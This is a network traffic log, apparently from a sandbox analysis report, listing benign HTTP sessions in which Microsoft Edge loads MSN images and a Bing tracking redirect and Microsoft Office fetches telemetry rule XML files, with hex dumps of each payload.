en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:56 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D6BD8FCA1E324A11A7C1D2CDE9E69056&MUID=21DC5826412B689A12D14D66402C691D P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=21DC5826412B689A12D14D66402C691D; domain=.bing.com; expires=Thu, 18-Dec-2025 04:02:56 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Sat, 30-Nov-2024 04:02:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=21DC5826412B689A12D14D66402C691D; domain=c.bing.com; expires=Thu, 18-Dec-2025 04:02:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=21DC5826412B689A12D14D66402C691D; domain=c.bing.com; expires=Thu, 18-Dec-2025 04:02:56 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1ADC1F3357264DABBD1D585976147302 Ref B: EWR30EDGE0218 Ref C: 2024-11-23T04:02:56Z Date: Sat, 23 Nov 2024 04:02:55 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49876	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:56 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Tue, 19 Nov 2024 20:13:04 GMT X-Source-Length: 176972 X-Datacenter: eastap X-ActivityId: a3389eb9-b205-4fa7-92db-5524bdcefb47 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=144610 Expires: Sun, 24 Nov 2024 20:13:05 GMT Date: Sat, 23 Nov 2024 04:02:55 GMT Connection: close
2024-11-23 04:02:56 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 04:02:56 UTC	16384	IN	Data Raw: 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac 39 Data Ascii: J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP9
2024-11-23 04:02:56 UTC	2205	IN	Data Raw: 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c f2 Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-23 04:02:56 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-23 04:02:56 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-23 04:02:56 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-23 04:02:56 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-23 04:02:56 UTC	16384	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-11-23 04:02:56 UTC	7952	IN	Data Raw: 11 62 4f a6 f0 68 b6 3f 69 bf c8 76 02 66 4c 88 5e 96 b5 fe f6 aa e1 06 6f 0f 00 dc 59 0a 46 27 f6 c4 4c 8b 83 b4 cf ed 5f 4b 0e 44 18 8e 02 b4 e4 27 1b 6f 23 19 10 44 49 04 88 fc 22 55 a0 0e 22 47 3a d4 ca 0d d7 78 98 fa 1b ea 8f cf 9f 4a cb 91 f6 03 b8 cf 0d c5 a4 ad fa 01 ad 20 f0 c9 39 6c 9b 54 7b 64 59 80 21 6c 39 86 00 93 7d 26 94 55 05 cf a1 f1 5c fa 96 14 34 eb 27 40 34 92 d6 3c eb 12 ec c8 a2 1a 20 fa 5d 5a 07 f4 9b 40 13 fb 4d 6d 05 81 bb 58 8b 1b 10 0f 5b dc 78 8f 3a 07 b5 3e 3f 93 3e 4e e4 ef 27 1e 35 67 40 06 d8 40 2c 36 f0 dc 44 cd b7 fc a8 86 72 f9 97 66 11 ed 92 2d 65 d8 09 bf 06 de a7 ae d6 53 69 a8 b0 0c 46 e0 a5 80 f4 89 3b af f5 41 e5 a7 03 14 8e 4c 11 ea 18 a4 5a 59 c8 30 dc 40 98 3b 78 c0 f9 55 ee 38 9e 9b 5f aa 05 23 e7 87 c5 97 da Data Ascii: bOh?ivfL^oYF'L_KD'o#DI"U"G:xJ 9lT{dY!l9}&U\4'@4< ]Z@MmX[x:>?>N'5g@@,6Drf-eSiF;ALZY0@;xU8_#
2024-11-23 04:02:56 UTC	16288	IN	Data Raw: 67 c6 36 9d 6d e5 1a d5 26 36 3c bd ac 58 e6 45 e4 c1 de 1a 3a ed 0b b6 df 3a 8e 66 47 65 f6 fb 6c 59 00 16 ba a9 e7 cd 4c 72 a6 37 f3 9d ce db 66 7b 6b 2a 9a 7f 09 1a 7d bd 68 d6 01 8f ba c2 ca f9 4a e6 17 46 90 01 2d 3e 88 31 21 6c 49 07 71 98 14 a4 4a 0d 84 6c b6 18 bd 91 06 6e 0a 19 1c 3c b9 4d 6b 0d 95 17 da df 85 90 08 29 ee 6d 68 8e 00 41 5e 9a d3 47 19 fd 4b 16 4f 62 0a 4c 12 1d 59 91 55 bd 3b c1 8d c0 70 27 c4 11 40 b7 bd c7 b8 d2 a6 41 b4 6b f5 2e e1 b8 83 d4 08 a9 41 67 a2 f7 18 b1 71 c6 03 5b eb 0c fa f2 24 4d fe 54 9a e6 c8 a4 99 55 6d 4b ce c3 03 49 fa 64 2f 22 0c 53 20 77 03 21 20 c6 e9 36 5d df 58 06 e4 69 06 22 66 d6 a2 58 bb a9 da 19 1b 49 21 58 86 26 67 76 c2 7d b3 ff 00 4f 9d 55 88 71 be 5c cd 21 f6 65 9d 59 a0 58 8d 20 e5 51 06 da 0b Data Ascii: g6m&6<XE::fGelYLr7f{k*}hJF->1!lIqJln<Mk)mhA^GKObLYU;p'@Ak.Agq[$MTUmKId/"S w! 6]Xi"fXI!X&gv}OUq\!eYX Q

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:56 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040256Z-178bfbc474bfw4gbhC1NYCunf4000000041g000000000nez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:56 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040256Z-174c587ffdfb5q56hC1TEB04kg000000029g00000000ehbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:55 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040256Z-174c587ffdf8lw6dhC1TEBkgs800000002a000000000n8br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:56 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 42455f54-301e-0051-494c-3c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040256Z-15b8b599d8885prmhC1TEBsnkw00000002eg00000000fnpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:56 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040256Z-178bfbc474bwh9gmhC1NYCy3rs000000042g0000000058rg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
